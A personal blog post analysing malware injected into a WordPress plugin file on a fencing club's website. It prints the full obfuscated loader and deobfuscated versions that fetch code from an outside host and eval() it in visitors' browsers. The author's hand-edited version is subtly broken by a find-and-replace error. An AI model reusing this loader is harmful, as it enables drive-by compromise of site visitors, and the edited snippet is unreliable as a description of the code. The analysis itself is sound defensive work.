The other day, I shared a link to my fencing club’s website on social media, and someone commented saying that the website was flagged by their Norton AntiVirus extension.
I was pretty skeptical at first, but I reached out for more info just in case.
The file that was flagged was called webpack-pro.runtime.js
, allegedly included by the elementor Wordpress plugin.
I knew that outdated Wordpress sites and plugins were easy to compromise, and viewing the source in my browser immediately roused my suspicions further.
There was a section at the end of the file that looked different from normal minimized JavaScript:
if (typeof zqxq === "undefined") {
(function(N, M) {
var z = {
N: 0xd9,
M: 0xe5,
P: 0xc1,
v: 0xc5,
k: 0xd3,
n: 0xde,
E: 0xcb,
U: 0xee,
K: 0xca,
G: 0xc8,
W: 0xcd
},
F = Q,
g = d,
P = N();
while (!![]) {
try {
var v = parseInt(g(z.N)) / 0x1 + parseInt(F(z.M)) / 0x2 * (-parseInt(F(z.P)) / 0x3) + parseInt(g(z
.v)) / 0x4 * (-parseInt(g(z.k)) / 0x5) + -parseInt(F(z.n)) / 0x6 * (parseInt(g(z.E)) /
0x7) + parseInt(F(z.U)) / 0x8 + -parseInt(g(z.K)) / 0x9 + -parseInt(F(z.G)) / 0xa * (-parseInt(
F(z.W)) / 0xb);
if (v === M) break;
else P['push'](P['shift']());
} catch (k) {
P['push'](P['shift']());
}
}
}(J, 0x5a4c9));
var zqxq = !![],
HttpClient = function() {
var l = {
N: 0xdf
},
f = {
N: 0xd4,
M: 0xcf,
P: 0xc9,
v: 0xc4,
k: 0xd8,
n: 0xd0,
E: 0xe9
},
S = d;
this[S(l.N)] = function(N, M) {
var y = {
N: 0xdb,
M: 0xe6,
P: 0xd6,
v: 0xce,
k: 0xd1
},
b = Q,
B = S,
P = new XMLHttpRequest();
P[B(f.N) + B(f.M) + B(f.P) + B(f.v)] = function() {
var Y = Q,
R = B;
if (P[R(y.N) + R(y.M)] == 0x4 && P[R(y.P) + 's'] == 0xc8) M(P[Y(y.v) + R(y.k) + 'xt']);
}, P[B(f.k)](b(f.n), N, !![]), P[b(f.E)](null);
};
},
rand = function() {
var t = {
N: 0xed,
M: 0xcc,
P: 0xe0,
v: 0xd7
},
m = d;
return Math[m(t.N) + 'm']()[m(t.M) + m(t.P)](0x24)[m(t.v) + 'r'](0x2);
},
token = function() {
return rand() + rand();
};
function J() {
var T = ['m0LNq1rmAq', '1335008nzRkQK', 'Aw9U', 'nge', '12376GNdjIG', 'Aw5KzxG', 'www.', 'mZy3mZCZmezpue9iqq',
'techa', '1015902ouMQjw', '42tUvSOt', 'toStr', 'mtfLze1os1C', 'CMvZCg8', 'dysta', 'r0vu', 'nseTe',
'oI8VD3C', '55ZUkfmS', 'onrea', 'Ag9ZDg4', 'statu', 'subst', 'open', '498750vGDIOd', '40326JKmqcC',
'ready', '3673730FOPOHA', 'CMvMzxi', 'ndaZmJzks21Xy0m', 'get', 'ing', 'eval', '3IgCTLi', 'oI8V', '?id=',
'mtmZntaWog56uMTrsW', 'State', 'qwzx', 'yw1L', 'C2vUza', 'index',
'//af.goflightcapital.com/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/Exceptions/Exceptions.css',
'C3vIC3q', 'rando', 'mJG2nZG3mKjyEKHuta', 'col', 'CMvY', 'Bg9Jyxq', 'cooki', 'proto'
];
J = function() {
return T;
};
return J();
}
function Q(d, N) {
var M = J();
return Q = function(P, v) {
P = P - 0xbf;
var k = M[P];
if (Q['SjsfwG'] === undefined) {
var n = function(G) {
var W = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
var q = '',
j = '';
for (var i = 0x0, g, F, S = 0x0; F = G['charAt'](S++); ~F && (g = i % 0x4 ? g * 0x40 + F :
F, i++ % 0x4) ? q += String['fromCharCode'](0xff & g >> (-0x2 * i & 0x6)) : 0x0) {
F = W['indexOf'](F);
}
for (var B = 0x0, R = q['length']; B < R; B++) {
j += '%' + ('00' + q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(j);
};
Q['GEUFdc'] = n, d = arguments, Q['SjsfwG'] = !![];
}
var E = M[0x0],
U = P + E,
K = d[U];
return !K ? (k = Q['GEUFdc'](k), d[U] = k) : k = K, k;
}, Q(d, N);
}
function d(Q, N) {
var M = J();
return d = function(P, v) {
P = P - 0xbf;
var k = M[P];
return k;
}, d(Q, N);
}(function() {
var X = {
N: 0xbf,
M: 0xf1,
P: 0xc3,
v: 0xd5,
k: 0xe8,
n: 0xc3,
E: 0xc0,
U: 0xef,
K: 0xdd,
G: 0xf0,
W: 0xea,
q: 0xc7,
j: 0xec,
i: 0xe3,
T: 0xd2,
p: 0xeb,
o: 0xe4,
D: 0xdf
},
C = {
N: 0xc6
},
I = {
N: 0xe7,
M: 0xe1
},
H = Q,
V = d,
N = navigator,
M = document,
P = screen,
v = window,
k = M[V(X.N) + 'e'],
E = v[H(X.M) + H(X.P)][H(X.v) + H(X.k)],
U = v[H(X.M) + H(X.n)][V(X.E) + V(X.U)],
K = M[H(X.K) + H(X.G)];
E[V(X.W) + 'Of'](V(X.q)) == 0x0 && (E = E[H(X.j) + 'r'](0x4));
if (K && !q(K, H(X.i) + E) && !q(K, H(X.T) + 'w.' + E) && !k) {
var G = new HttpClient(),
W = U + (V(X.p) + V(X.o)) + token();
G[V(X.D)](W, function(j) {
var Z = V;
q(j, Z(I.N)) && v[Z(I.M)](j);
});
}
function q(j, i) {
var O = H;
return j[O(C.N) + 'Of'](i) !== -0x1;
}
}());
};
I could see a lot of obfuscated logic, some code to make a request, and a jumbled array of what looked like parts of a URL. After a few unsuccessfuly attempts at tracing the logic in a sandboxed environment, I decided that the current form of this snippet was too complicated for me to make sense of.
Luckily, I found a variety of JavaScript deobfuscation tools online. I tried https://deobfuscate.relative.im/, and it gave me this (much more readable) snippet.
if (typeof zqxq === 'undefined') {
var zqxq = true,
HttpClient = function () {
this.get = function (N, M) {
var P = new XMLHttpRequest()
P.onreadystatechange = function () {
if (P.readyState == 4 && P.status == 200) {
M(P.responseText)
}
}
P.open('GET', N, true)
P.send(null)
}
},
rand = function () {
return Math.random().toString(36).substr(2)
}
;(function () {
var N = navigator,
M = document,
P = screen,
v = window,
k = M.cookie,
E = v.location.hostname,
U = v.location.protocol,
K = M.referrer
E.indexOf('www.') == 0 && (E = E.substr(4))
if (K && !q(K, '://' + E) && !q(K, '://www.' + E) && !k) {
var G = new HttpClient(),
W =
U +
'//af.goflightcapital.com/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/Exceptions/Exceptions.css?id=' +
(rand() + rand())
G.get(W, function (j) {
q(j, 'qwzx') && v.eval(j)
})
}
function q(j, i) {
return j.indexOf(i) !== -1
}
})()
}
I was surprised at how powerful the deobfuscation tool was - it somehow constructed the full URL and gave me enough
information to see what the snippet was doing: making a request and eval
-ing the response if it contained the string “qwzx”.
A few manual edits cleaned up the code even more:
if (typeof zqxq === 'undefined') {
var zqxq = true;
var HttpClient = function () {
this.get = function (url, callback) {
var request = new XMLHttpRequest()
request.onreadystatechange = function () {
if (request.readyState == 4 && request.status == 200) {
callback(request.responseText)
}
}
request.open('GET', url, true)
request.send(null)
}
};
var rand = function () {
return Math.random().toString(36).substr(2)
};
(function () {
window.location.hostname.indexOf('www.') == 0 && (window.location.hostname = window.location.hostname.substr(4))
if (document.referrer && !q(document.referrer, '://' + window.location.hostname) && !q(document.referrer, '://www.' + window.location.hostname) && !document.cookie) {
var client = new HttpClient();
var url =
window.location.protocol +
'//af.goflightcapital.com/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/window.location.hostnamexceptions/window.location.hostnamexceptions.css?id=' +
(rand() + rand());
client.get(url, function (responseText) {
q(responseText, 'qwzx') && window.eval(responseText)
})
}
function q(j, i) {
return j.indexOf(i) !== -1
}
})()
}
The deobfuscated code also showed that it would be difficult to reproduce reliably: it doesn’t always make a request, it won’t always get a response, and the response isn’t always evaluated.
I decided to search online to see what exactly I was dealing with.
Sure enough, I quickly found a few sites that described very similar malware: 1, 2, 3
At this point, I had seen enough. I reported the issue to my fencing club, and wrapped up my investigation. It was pretty fun to play detective for a night, and this experience definitely piqued my interest in the broader field of cybersecurity and security engineering.